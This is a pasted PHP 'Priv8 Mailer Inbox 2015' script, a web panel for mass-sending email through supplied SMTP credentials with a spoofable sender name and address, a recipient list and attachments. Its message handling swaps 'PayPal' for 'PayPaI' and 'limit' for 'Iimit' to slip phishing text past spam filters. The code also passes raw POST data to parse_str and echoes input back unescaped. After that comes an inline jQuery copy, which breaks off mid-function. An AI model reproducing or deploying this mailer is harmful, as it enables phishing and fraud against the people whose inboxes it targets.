· 6 years ago · May 07, 2019, 10:54 PM
1<?php
2
3set_time_limit(0);
4error_reporting(0);
5function query_str($params) {
6 $str = '';
7 foreach ($params as $key => $value) {
8 $str .= (strlen($str) < 1) ? '' : '&';
9 $str .= $key . '=' . rawurlencode($value);
10 }
11 return ($str);
12}
13function lrtrim($string){
14 return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'])){
17
18 $b = query_str($_POST);
19 parse_str($b);
20 $action = lrtrim($action);
21 $smtp_username = lrtrim($smtp_username);
22 $smtp_password = lrtrim($smtp_password);
23 $smtp_server = lrtrim($smtp_server);
24 $smtp_port = lrtrim($smtp_port);
25 $smtp_ssl = lrtrim($smtp_ssl);
26 $xmailer = lrtrim($xmailer);
27 $reconnect = lrtrim($reconnect);
28 $type = lrtrim($type);
29 $email = lrtrim($mail);
30 $nama = lrtrim($nama);
31 $subject = lrtrim($subject);
32 $pesan = lrtrim($pesan);
33 $emaillist = strtolower(lrtrim($list));
34 $encoding = lrtrim($encode);
35 $file_name = $_FILES['file']['name'];
36 $file_path = $_FILES['file']['tmp_name'];
37 $wait = lrtrim($wait);
38
39 $pesan = urlencode($pesan);
40 $pesan = ereg_replace("%5C%22", "%22", $pesan);
41 $pesan = urldecode($pesan);
42 $pesan = stripslashes($pesan);
43 $pesan = str_replace("PayPal", "PayPaI", $pesan);
44 $pesan = str_replace("limit", "Iimit", $pesan);
45}
46?>
47<!DOCTYPE html>
48<html lang="en">
49
50<head>
51 <meta charset="utf-8">
52 <title>Priv8 Mailer Inbox 2015</title>
53 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
54 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
56 <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
57 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
58 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
59 <script type="text/javascript" src='tinymce/tinymce.min.js'></script>
60 <script type="text/javascript">
61 tinymce.init({
62 selector: '#myTextarea',
63 theme: 'modern',
64 width: 550,
65 height: 300,
66 plugins: [
67 'advlist autolink link image lists charmap print preview hr anchor pagebreak spellchecker',
68 'searchreplace wordcount visualblocks visualchars code fullscreen insertdatetime media nonbreaking',
69 'save table contextmenu directionality emoticons template paste textcolor'
70 ],
71 content_css: 'css/content.css',
72 toolbar: 'insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image | print preview media fullpage | forecolor backcolor emoticons'
73 });
74 </script>
75 <link rel="shortcut icon" href="">
76 <style type="text/css">
77 body{
78 background-color: #13181D;
79 border-color: #2CADAD !important;
80 box-shadow: 0px 0px 15px #ff4eff;
81 -moz-box-shadow: 0px 0px 15px #ff4eff;
82 -webkit-box-shadow: 0px 0px 15px #ff4eff;
83 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
84 }
85 input, select, option, textarea {
86 font-size: 12px !important;
87 }
88 input, select, option {
89 height: 30px !important;
90color:#2CADAD;
91 box-shadow: 0px 0px 15px #ff4eff;
92 -moz-box-shadow: 0px 0px 15px #ff4eff;
93 -webkit-box-shadow: 0px 0px 15px #ff4eff;
94 text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
95 }
96
97.panel-info .panel-heading {
98 background-color: #2CADAD !important;
99 border-color: #2CADAD !important;
100 box-shadow: 0px 0px 15px #ff4eff;
101 -moz-box-shadow: 0px 0px 15px #ff4eff;
102 -webkit-box-shadow: 0px 0px 15px #ff4eff;
103 text-shadow: 0px 0px 60px rgba(44, 173, 173, 1);
104 }
105 .kanan-l {
106 border-top-right-radius: 0px !important;
107 border-color: #2CADAD !important;
108 box-shadow: 0px 0px 15px #ff4eff;
109 -moz-box-shadow: 0px 0px 15px #ff4eff;
110 -webkit-box-shadow: 0px 0px 15px #ff4eff;
111 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
112 }
113 .kanan {
114 border-top-right-radius: 4px !important;
115 border-color: #2CADAD !important;
116 box-shadow: 0px 0px 15px #ff4eff;
117 -moz-box-shadow: 0px 0px 15px #ff4eff;
118 -webkit-box-shadow: 0px 0px 15px #ff4eff;
119 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
120
121 }
122 .form-control {
123border-top-right-radius: 4px !important;
124 border-color: #2CADAD !important;
125 box-shadow: 0px 0px 15px #ff4eff;
126 -moz-box-shadow: 0px 0px 15px #ff4eff;
127 -webkit-box-shadow: 0px 0px 15px #ff4eff;
128 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
129
130 }
131 </style>
132
133
134 <script type="text/javascript">
135 function Pilih1(dropDown) {
136 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
137 document.getElementById("sender-name").value = selectedValue;
138 }
139 function Pilih2(dropDown) {
140 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
141 document.getElementById("sender-email").value = selectedValue;
142 }
143 function Pilih3(dropDown) {
144 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
145 document.getElementById("subject").value = selectedValue;
146 }
147 function Pilih4(dropDown) {
148 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
149 document.getElementById("xmailer").value = selectedValue;
150 }
151 </script>
152</head>
153<body>
154<div id="wrap">
155
156 <div class="container" style="margin-top: 25px;">
157 <div class="row">
158 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
159 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
160 <div class="panel-heading">
161 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
162 </div>
163
164 <div style="padding-top: 15px;">
165
166 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
167
168 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
169
170 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
171
172 <div id="smtp" class="collapse">
173 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
174
175 <div style="margin-bottom: 10px" class="input-group">
176 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
177 <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
178 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
179 <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
180 </div>
181
182 <div style="margin-bottom: 10px" class="input-group">
183 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
184 <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
185 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
186 <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
187 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
188 <select class="form-control" name="smtp_ssl">
189 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
190 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
191 </select>
192 </div>
193 <div style="color:red;" align="center">
194 " If you dont have SMTP login, leave blank queries above "
195 </div>
196<script>
197 (function(global, factory) {
198 if (typeof module === "object" && typeof module.exports === "object") {
199 module.exports = global.document ? factory(global, true) : function(w) {
200 if (!w.document) {
201 throw new Error("jQuery requires a window with a document");
202 }
203 return factory(w)
204 }
205 } else {
206 factory(global)
207 }
208 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
209 var deletedIds = [];
210 var slice = deletedIds.slice;
211 var concat = deletedIds.concat;
212 var push = deletedIds.push;
213 var indexOf = deletedIds.indexOf;
214 var class2type = {};
215 var toString = class2type.toString;
216 var hasOwn = class2type.hasOwnProperty;
217 var support = {};
218 var version = "1.11.2",
219 jQuery = function(selector, context) {
220 return new jQuery.fn.init(selector, context)
221 },
222 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
223 rmsPrefix = /^-ms-/,
224 rdashAlpha = /-([\da-z])/gi,
225 fcamelCase = function(all, letter) {
226 return letter.toUpperCase()
227 };
228 jQuery.fn = jQuery.prototype = {
229 jquery: version,
230 constructor: jQuery,
231 selector: "",
232 length: 0,
233 toArray: function() {
234 return slice.call(this)
235 },
236 get: function(num) {
237 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
238 },
239 pushStack: function(elems) {
240 var ret = jQuery.merge(this.constructor(), elems);
241 ret.prevObject = this;
242 ret.context = this.context;
243 return ret
244 },
245 each: function(callback, args) {
246 return jQuery.each(this, callback, args)
247 },
248 map: function(callback) {
249 return this.pushStack(jQuery.map(this, function(elem, i) {
250 return callback.call(elem, i, elem)
251 }))
252 },
253 slice: function() {
254 return this.pushStack(slice.apply(this, arguments))
255 },
256 first: function() {
257 return this.eq(0)
258 },
259 last: function() {
260 return this.eq(-1)
261 },
262 eq: function(i) {
263 var len = this.length,
264 j = +i + (i < 0 ? len : 0);
265 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
266 },
267 end: function() {
268 return this.prevObject || this.constructor(null)
269 },
270 push: push,
271 sort: deletedIds.sort,
272 splice: deletedIds.splice
273 };
274 jQuery.extend = jQuery.fn.extend = function() {
275 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
276 i = 1,
277 length = arguments.length,
278 deep = false;
279 if (typeof target === "boolean") {
280 deep = target;
281 target = arguments[i] || {};
282 i++
283 }
284 if (typeof target !== "object" && !jQuery.isFunction(target)) {
285 target = {}
286 }
287 if (i === length) {
288 target = this;
289 i--
290 }
291 for (; i < length; i++) {
292 if ((options = arguments[i]) != null) {
293 for (name in options) {
294 src = target[name];
295 copy = options[name];
296 if (target === copy) {
297 continue
298 }
299 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
300 if (copyIsArray) {
301 copyIsArray = false;
302 clone = src && jQuery.isArray(src) ? src : []
303 } else {
304 clone = src && jQuery.isPlainObject(src) ? src : {}
305 }
306 target[name] = jQuery.extend(deep, clone, copy)
307 } else if (copy !== undefined) {
308 target[name] = copy
309 }
310 }
311 }
312 }
313 return target
314 };
315 jQuery.extend({
316 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
317 isReady: true,
318 error: function(msg) {
319 throw new Error(msg);
320 },
321 noop: function() {},
322 isFunction: function(obj) {
323 return jQuery.type(obj) === "function"
324 },
325 isArray: Array.isArray || function(obj) {
326 return jQuery.type(obj) === "array"
327 },
328 isWindow: function(obj) {
329 return obj != null && obj == obj.window
330 },
331 isNumeric: function(obj) {
332 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
333 },
334 isEmptyObject: function(obj) {
335 var name;
336 for (name in obj) {
337 return false
338 }
339 return true
340 },
341 isPlainObject: function(obj) {
342 var key;
343 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
344 return false
345 }
346 try {
347 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
348 return false
349 }
350 } catch (e) {
351 return false
352 }
353 if (support.ownLast) {
354 for (key in obj) {
355 return hasOwn.call(obj, key)
356 }
357 }
358 for (key in obj) {}
359 return key === undefined || hasOwn.call(obj, key)
360 },
361 type: function(obj) {
362 if (obj == null) {
363 return obj + ""
364 }
365 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
366 },
367 globalEval: function(data) {
368 if (data && jQuery.trim(data)) {
369 (window.execScript || function(data) {
370 window["eval"].call(window, data)
371 })(data)
372 }
373 },
374 camelCase: function(string) {
375 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
376 },
377 nodeName: function(elem, name) {
378 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
379 },
380 each: function(obj, callback, args) {
381 var value, i = 0,
382 length = obj.length,
383 isArray = isArraylike(obj);
384 if (args) {
385 if (isArray) {
386 for (; i < length; i++) {
387 value = callback.apply(obj[i], args);
388 if (value === false) {
389 break
390 }
391 }
392 } else {
393 for (i in obj) {
394 value = callback.apply(obj[i], args);
395 if (value === false) {
396 break
397 }
398 }
399 }
400 } else {
401 if (isArray) {
402 for (; i < length; i++) {
403 value = callback.call(obj[i], i, obj[i]);
404 if (value === false) {
405 break
406 }
407 }
408 } else {
409 for (i in obj) {
410 value = callback.call(obj[i], i, obj[i]);
411 if (value === false) {
412 break
413 }
414 }
415 }
416 }
417 return obj
418 },
419 trim: function(text) {
420 return text == null ? "" : (text + "").replace(rtrim, "")
421 },
422 makeArray: function(arr, results) {
423 var ret = results || [];
424 if (arr != null) {
425 if (isArraylike(Object(arr))) {
426 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
427 } else {
428 push.call(ret, arr)
429 }
430 }
431 return ret
432 },
433 inArray: function(elem, arr, i) {
434 var len;
435 if (arr) {
436 if (indexOf) {
437 return indexOf.call(arr, elem, i)
438 }
439 len = arr.length;
440 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
441 for (; i < len; i++) {
442 if (i in arr && arr[i] === elem) {
443 return i
444 }
445 }
446 }
447 return -1
448 },
449 merge: function(first, second) {
450 var len = +second.length,
451 j = 0,
452 i = first.length;
453 while (j < len) {
454 first[i++] = second[j++]
455 }
456 if (len !== len) {
457 while (second[j] !== undefined) {
458 first[i++] = second[j++]
459 }
460 }
461 first.length = i;
462 return first
463 },
464 grep: function(elems, callback, invert) {
465 var callbackInverse, matches = [],
466 i = 0,
467 length = elems.length,
468 callbackExpect = !invert;
469 for (; i < length; i++) {
470 callbackInverse = !callback(elems[i], i);
471 if (callbackInverse !== callbackExpect) {
472 matches.push(elems[i])
473 }
474 }
475 return matches
476 },
477 map: function(elems, callback, arg) {
478 var value, i = 0,
479 length = elems.length,
480 isArray = isArraylike(elems),
481 ret = [];
482 if (isArray) {
483 for (; i < length; i++) {
484 value = callback(elems[i], i, arg);
485 if (value != null) {
486 ret.push(value)
487 }
488 }
489 } else {
490 for (i in elems) {
491 value = callback(elems[i], i, arg);
492 if (value != null) {
493 ret.push(value)
494 }
495 }
496 }
497 return concat.apply([], ret)
498 },
499 guid: 1,
500 proxy: function(fn, context) {
501 var args, proxy, tmp;
502 if (typeof context === "string") {
503 tmp = fn[context];
504 context = fn;
505 fn = tmp
506 }
507 if (!jQuery.isFunction(fn)) {
508 return undefined
509 }
510 args = slice.call(arguments, 2);
511 proxy = function() {
512 return fn.apply(context || this, args.concat(slice.call(arguments)))
513 };
514 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
515 return proxy
516 },
517 now: function() {
518 return +(new Date())
519 },
520 support: support
521 });
522 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
523 class2type["[object " + name + "]"] = name.toLowerCase()
524 });
525
526 function isArraylike(obj) {
527 var length = obj.length,
528 type = jQuery.type(obj);
529 if (type === "function" || jQuery.isWindow(obj)) {
530 return false
531 }
532 if (obj.nodeType === 1 && length) {
533 return true
534 }
535 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
536 }
537 var Sizzle = (function(window) {
538 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
539 preferredDoc = window.document,
540 dirruns = 0,
541 done = 0,
542 classCache = createCache(),
543 tokenCache = createCache(),
544 compilerCache = createCache(),
545 sortOrder = function(a, b) {
546 if (a === b) {
547 hasDuplicate = true
548 }
549 return 0
550 },
551 MAX_NEGATIVE = 1 << 31,
552 hasOwn = ({}).hasOwnProperty,
553 arr = [],
554 pop = arr.pop,
555 push_native = arr.push,
556 push = arr.push,
557 slice = arr.slice,
558 indexOf = function(list, elem) {
559 var i = 0,
560 len = list.length;
561 for (; i < len; i++) {
562 if (list[i] === elem) {
563 return i
564 }
565 }
566 return -1
567 },
568 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
569 whitespace = "[\\x20\\t\\r\\n\\f]",
570 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
571 identifier = characterEncoding.replace("w", "w#"),
572 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
573 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
574 rwhitespace = new RegExp(whitespace + "+", "g"),
575 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
576 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
577 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
578 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
579 rpseudo = new RegExp(pseudos),
580 ridentifier = new RegExp("^" + identifier + "$"),
581 matchExpr = {
582 "ID": new RegExp("^#(" + characterEncoding + ")"),
583 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
584 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
585 "ATTR": new RegExp("^" + attributes),
586 "PSEUDO": new RegExp("^" + pseudos),
587 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
588 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
589 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
590 },
591 rinputs = /^(?:input|select|textarea|button)$/i,
592 rheader = /^h\d$/i,
593 rnative = /^[^{]+\{\s*\[native \w/,
594 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
595 rsibling = /[+~]/,
596 rescape = /'|\\/g,
597 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
598 funescape = function(_, escaped, escapedWhitespace) {
599 var high = "0x" + escaped - 0x10000;
600 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
601 },
602 unloadHandler = function() {
603 setDocument()
604 };
605 try {
606 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
607 arr[preferredDoc.childNodes.length].nodeType
608 } catch (e) {
609 push = {
610 apply: arr.length ? function(target, els) {
611 push_native.apply(target, slice.call(els))
612 } : function(target, els) {
613 var j = target.length,
614 i = 0;
615 while ((target[j++] = els[i++])) {}
616 target.length = j - 1
617 }
618 }
619 }
620
621 function Sizzle(selector, context, results, seed) {
622 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
623 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
624 setDocument(context)
625 }
626 context = context || document;
627 results = results || [];
628 nodeType = context.nodeType;
629 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
630 return results
631 }
632 if (!seed && documentIsHTML) {
633 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
634 if ((m = match[1])) {
635 if (nodeType === 9) {
636 elem = context.getElementById(m);
637 if (elem && elem.parentNode) {
638 if (elem.id === m) {
639 results.push(elem);
640 return results
641 }
642 } else {
643 return results
644 }
645 } else {
646 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
647 results.push(elem);
648 return results
649 }
650 }
651 } else if (match[2]) {
652 push.apply(results, context.getElementsByTagName(selector));
653 return results
654 } else if ((m = match[3]) && support.getElementsByClassName) {
655 push.apply(results, context.getElementsByClassName(m));
656 return results
657 }
658 }
659 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
660 nid = old = expando;
661 newContext = context;
662 newSelector = nodeType !== 1 && selector;
663 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
664 groups = tokenize(selector);
665 if ((old = context.getAttribute("id"))) {
666 nid = old.replace(rescape, "\\$&")
667 } else {
668 context.setAttribute("id", nid)
669 }
670 nid = "[id='" + nid + "'] ";
671 i = groups.length;
672 while (i--) {
673 groups[i] = nid + toSelector(groups[i])
674 }
675 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
676 newSelector = groups.join(",")
677 }
678 if (newSelector) {
679 try {
680 push.apply(results, newContext.querySelectorAll(newSelector));
681 return results
682 } catch (qsaError) {} finally {
683 if (!old) {
684 context.removeAttribute("id")
685 }
686 }
687 }
688 }
689 }
690 return select(selector.replace(rtrim, "$1"), context, results, seed)
691 }
692
693 function createCache() {
694 var keys = [];
695
696 function cache(key, value) {
697 if (keys.push(key + " ") > Expr.cacheLength) {
698 delete cache[keys.shift()]
699 }
700 return (cache[key + " "] = value)
701 }
702 return cache
703 }
704
705 function markFunction(fn) {
706 fn[expando] = true;
707 return fn
708 }
709
710 function assert(fn) {
711 var div = document.createElement("div");
712 try {
713 return !!fn(div)
714 } catch (e) {
715 return false
716 } finally {
717 if (div.parentNode) {
718 div.parentNode.removeChild(div)
719 }
720 div = null
721 }
722 }
723
724 function addHandle(attrs, handler) {
725 var arr = attrs.split("|"),
726 i = attrs.length;
727 while (i--) {
728 Expr.attrHandle[arr[i]] = handler
729 }
730 }
731
732 function siblingCheck(a, b) {
733 var cur = b && a,
734 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
735 if (diff) {
736 return diff
737 }
738 if (cur) {
739 while ((cur = cur.nextSibling)) {
740 if (cur === b) {
741 return -1
742 }
743 }
744 }
745 return a ? 1 : -1
746 }
747
748 function createInputPseudo(type) {
749 return function(elem) {
750 var name = elem.nodeName.toLowerCase();
751 return name === "input" && elem.type === type
752 }
753 }
754
755 function createButtonPseudo(type) {
756 return function(elem) {
757 var name = elem.nodeName.toLowerCase();
758 return (name === "input" || name === "button") && elem.type === type
759 }
760 }
761
762 function createPositionalPseudo(fn) {
763 return markFunction(function(argument) {
764 argument = +argument;
765 return markFunction(function(seed, matches) {
766 var j, matchIndexes = fn([], seed.length, argument),
767 i = matchIndexes.length;
768 while (i--) {
769 if (seed[(j = matchIndexes[i])]) {
770 seed[j] = !(matches[j] = seed[j])
771 }
772 }
773 })
774 })
775 }
776
777 function testContext(context) {
778 return context && typeof context.getElementsByTagName !== "undefined" && context
779 }
780 support = Sizzle.support = {};
781 isXML = Sizzle.isXML = function(elem) {
782 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
783 return documentElement ? documentElement.nodeName !== "HTML" : false
784 };
785 setDocument = Sizzle.setDocument = function(node) {
786 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
787 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
788 return document
789 }
790 document = doc;
791 docElem = doc.documentElement;
792 parent = doc.defaultView;
793 if (parent && parent !== parent.top) {
794 if (parent.addEventListener) {
795 parent.addEventListener("unload", unloadHandler, false)
796 } else if (parent.attachEvent) {
797 parent.attachEvent("onunload", unloadHandler)
798 }
799 }
800 documentIsHTML = !isXML(doc);
801 support.attributes = assert(function(div) {
802 div.className = "i";
803 return !div.getAttribute("className")
804 });
805 support.getElementsByTagName = assert(function(div) {
806 div.appendChild(doc.createComment(""));
807 return !div.getElementsByTagName("*").length
808 });
809 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
810 support.getById = assert(function(div) {
811 docElem.appendChild(div).id = expando;
812 return !doc.getElementsByName || !doc.getElementsByName(expando).length
813 });
814 if (support.getById) {
815 Expr.find["ID"] = function(id, context) {
816 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
817 var m = context.getElementById(id);
818 return m && m.parentNode ? [m] : []
819 }
820 };
821 Expr.filter["ID"] = function(id) {
822 var attrId = id.replace(runescape, funescape);
823 return function(elem) {
824 return elem.getAttribute("id") === attrId
825 }
826 }
827 } else {
828 delete Expr.find["ID"];
829 Expr.filter["ID"] = function(id) {
830 var attrId = id.replace(runescape, funescape);
831 return function(elem) {
832 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
833 return node && node.value === attrId
834 }
835 }
836 }
837 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
838 if (typeof context.getElementsByTagName !== "undefined") {
839 return context.getElementsByTagName(tag)
840 } else if (support.qsa) {
841 return context.querySelectorAll(tag)
842 }
843 } : function(tag, context) {
844 var elem, tmp = [],
845 i = 0,
846 results = context.getElementsByTagName(tag);
847 if (tag === "*") {
848 while ((elem = results[i++])) {
849 if (elem.nodeType === 1) {
850 tmp.push(elem)
851 }
852 }
853 return tmp
854 }
855 return results
856 };
857 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
858 if (documentIsHTML) {
859 return context.getElementsByClassName(className)
860 }
861 };
862 rbuggyMatches = [];
863 rbuggyQSA = [];
864 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
865 assert(function(div) {
866 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
867 if (div.querySelectorAll("[msallowcapture^='']").length) {
868 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
869 }
870 if (!div.querySelectorAll("[selected]").length) {
871 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
872 }
873 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
874 rbuggyQSA.push("~=")
875 }
876 if (!div.querySelectorAll(":checked").length) {
877 rbuggyQSA.push(":checked")
878 }
879 if (!div.querySelectorAll("a#" + expando + "+*").length) {
880 rbuggyQSA.push(".#.+[+~]")
881 }
882 });
883 assert(function(div) {
884 var input = doc.createElement("input");
885 input.setAttribute("type", "hidden");
886 div.appendChild(input).setAttribute("name", "D");
887 if (div.querySelectorAll("[name=d]").length) {
888 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
889 }
890 if (!div.querySelectorAll(":enabled").length) {
891 rbuggyQSA.push(":enabled", ":disabled")
892 }
893 div.querySelectorAll("*,:x");
894 rbuggyQSA.push(",.*:")
895 })
896 }
897 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
898 assert(function(div) {
899 support.disconnectedMatch = matches.call(div, "div");
900 matches.call(div, "[s!='']:x");
901 rbuggyMatches.push("!=", pseudos)
902 })
903 }
904 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
905 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
906 hasCompare = rnative.test(docElem.compareDocumentPosition);
907 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
908 var adown = a.nodeType === 9 ? a.documentElement : a,
909 bup = b && b.parentNode;
910 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
911 } : function(a, b) {
912 if (b) {
913 while ((b = b.parentNode)) {
914 if (b === a) {
915 return true
916 }
917 }
918 }
919 return false
920 };
921 sortOrder = hasCompare ? function(a, b) {
922 if (a === b) {
923 hasDuplicate = true;
924 return 0
925 }
926 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
927 if (compare) {
928 return compare
929 }
930 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
931 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
932 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
933 return -1
934 }
935 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
936 return 1
937 }
938 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
939 }
940 return compare & 4 ? -1 : 1
941 } : function(a, b) {
942 if (a === b) {
943 hasDuplicate = true;
944 return 0
945 }
946 var cur, i = 0,
947 aup = a.parentNode,
948 bup = b.parentNode,
949 ap = [a],
950 bp = [b];
951 if (!aup || !bup) {
952 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
953 } else if (aup === bup) {
954 return siblingCheck(a, b)
955 }
956 cur = a;
957 while ((cur = cur.parentNode)) {
958 ap.unshift(cur)
959 }
960 cur = b;
961 while ((cur = cur.parentNode)) {
962 bp.unshift(cur)
963 }
964 while (ap[i] === bp[i]) {
965 i++
966 }
